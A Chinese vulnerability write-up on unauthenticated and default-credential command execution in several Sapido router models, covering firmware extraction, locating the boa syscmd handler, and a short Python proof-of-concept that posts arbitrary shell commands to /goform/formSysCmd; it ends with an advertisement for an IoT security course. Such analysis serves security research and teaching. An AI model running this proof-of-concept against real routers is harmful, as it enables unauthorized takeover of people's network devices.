查看原文
其他

Sapido多款路由器命令执行

色豹 看雪学苑 2022-07-01





0x01.漏洞介绍


BR270n-v2.1.03 / BRC76n-v2.1.03 / GR297-v2.1.3 / RB1732-v2.0.43 之前版本存在的命令执行漏洞。



0x02.固件环境模拟






0x03. binwalk解压固件






0x04.查看web容器


对于嵌入式设备而言,很多服务都是移植开源的,/etc/init.d文件夹下是路由器启动时的加载项,在这些文件中可以看到很多的启动服务等,但是在这里我没有发现web容器的启动项,猜测可能厂商进行了二次开发



0x05.查找http服务模块



在这里可以看到很多关于http的,我们不去关注web网页出现的。因为我们想要知道这款路由器的web容器是哪个,所以我们把重点放在前面的elf文件处,在这里我们看到一个cm的elf文件,如果知道开源的web服务器boa可能猜到一些,下面就是boa的架构:


这里可以清晰的看到web层是如何和底层通过boa进行交互的。那么对于不知道的容器我们又该如何去分析呢?
我们继续去分析剩下的elf程序,通过名字和逐个分析我们在sysconf程序中发现了http请求的处理方式,使用ghidra来分析sysconf:

通过全文搜索http定位到关键函数,在这里我们发现了一个关键的函数apmib_get通过猜测也能大概猜到这是一个关于获取的函数,通过google可以搜索到这个函数,会发现这个函数是关于web开源服务器的boa用到的函数,那么到这里我们就已经确认这款路由器的web容器是boa了。
既然已经知道了boa,那么肯定知道这个框架有一个关键的文件syscmd.htm文件,可以执行系统命令,但是由于这款路由器是asp写的所以我们只进行检索syscmd:


这里可以发现两个文件,一个elf文件,一个asp文件,打开asp文件:

在这里可以看出页面可以执行系统命令。



0x06.通过url访问指定页面



发现可以执行系统命令,那么这里又是如何处理的呢?
通过上面的asp文件可以知道,对于输入的命令处理应该和formSysCmd有关联,这里我们进行grep搜索:

可以看到一个webs的elf文件,那么可以猜测这里可能就是syscmd执行的底层文件了。



0x07.分析webs文件




上面就是整个命令执行的底层实现方式了,第一个图片可以看到使用system函数执行输入的系统命令,第二个图片可以看出将执行的结果通过cat输入到/web/obama.dat文件中,最后将obama.dat中的内容输入到web界面的文本框里。



0x08.POC


根据web界面的输入位置写POC脚本:
import requests import sys def test_httpcommand(ip, command): my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''} r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data) content = r.text content = content[ content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56: content.rfind('</textarea>')] return content print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))



0x09.运行POC,
执行系统命令 







0x10. BR270n-v2.1.03
命令执行漏洞 



这个原理和RB1732差不多,只不过访问的页面变成syscmd.htm了。




0x11.BRC76n-v2.1.03
命令执行漏洞







0x12.GR297-v2.1.3
命令执行漏洞






0x13.附录


BR270n,RB1732命令执行有个前提就是登陆路由器,可以进行信息的泄露获得用户名和密码,而且又有很多路由器使用的还是默认用户名和密码,GR297,BRC76n则不需要进行登陆。



0x14.参考 


https://www.exploit-db.com/exploits/47031

有关的IOT安全的更多课程在《物联网安全入门》‍‍‍‍‍中都有详细的讲解哦!!

看雪好评满满的资深讲师为你带来
物联网小白最全的新手村指南





课程简介


本课程主要面向物联网安全零基础及其他行业安全从业者。
讲解的内容涵盖物联网安全的方方面面,包含硬件层、固件层、协议层、移动应用层、嵌入式Web层等。除了理论知识讲解,也结合实战。让学员可以进行系统性的学习。
* 报名前40名学员,赠送50个IoT设备的POC/EXP!! 

即刻报名~





课程目录


第一章  逆向基础


课时一  逆向入门介绍
课时二  ARM寄存器及汇编指令讲解
课时三  MIPS寄存器及汇编指令讲解
课时四  逆向分析环境搭建
课时五  IDA使用详解
课时六  Ghidra使用详解
课时七  Radare2使用详解


第二章  PWN基础

课时一  PWN入门介绍/PWN环境搭建

课时二  PWN常见工具详解

课时三  MIPS堆栈溢出

课时四  ARM堆栈溢出


第三章  物联网硬件层安全讲解


课时一  物联网硬件层安全讲解

课时二  物联网通信接口调试

课时三  物联网硬件渗透测试流程


第四章  物联网固件层安全讲解


课时一  文件系统详解

课时二  常见嵌入式操作系统详解

1. 实时操作系统:RTOS,VxWorks

2. 分时操作系统:Linux

课时三  固件分析环境搭建&常用分析工具详解

1. binwalk

2. qemu

3. Firmadyne

4.  angr

5. IDA/Ghidra

6. ....

课时四  固件提取详解

课时五  实际漏洞分析


第五章 物联网架构之嵌入式web


课时一  http协议讲解

课时二  Tinyhttpd源码分析讲解

课时三  soap协议讲解

课时四  常见嵌入式web应用分析讲解

1. lighttpd

2. GoAhead

课时五  常见嵌入式web漏洞分析讲解

1. 敏感信息泄露

2. 任意文件下载

3. 命令执行

4.  未授权访问


第六章 物联网架构之物联网协议


课时一  wifi协议讲解

课时二  Zigbee讲解

课时三  BlueTooth/BLE协议讲解

课时四  RFID讲解

课时五  MQTT等协议讲解


第七章 物联网渗透测试之移动应用


课时一  安卓应用程序分析

课时二  iOS应用程序分析

课时三  动态调试分析工具使用

课时四  安卓/iOS应用 网络接口分析


第八章 物联网安全防护


课时一  物联网各层防御措施讲解

  • 硬件层

  • 固件层

  • 嵌入式Web层

  • 协议层

  • 移动应用层





讲师介绍
崔洪权(网络ID:色豹),信睿网络 CEO,吉林大学CTF战队指导教师,SSC安全峰会、DC0571 演讲嘉宾。拥有多个IoT相关CVE漏洞编号,并荣获2018年赛博地球杯工业互联网安全大赛 一等奖。 


立即报名


课程价格:1024元
报名前40名学员,赠送50个IoT设备的POC/EXP!!
*报名后请添加工作人员微信号:kanxuecom,进入课程群。

还在为在物联网安全的大门外徘徊而苦恼吗?


想要快速、高效地系统学习物联网安全入门的知识吗?


想要收获良师益友,共同学习进步吗?

想要早日撕下物联网小白“标签”?

即刻报名
前40还送POC/EXP哦!



问题咨询,添加微信kanxuecom




- End -





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”报名课程吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存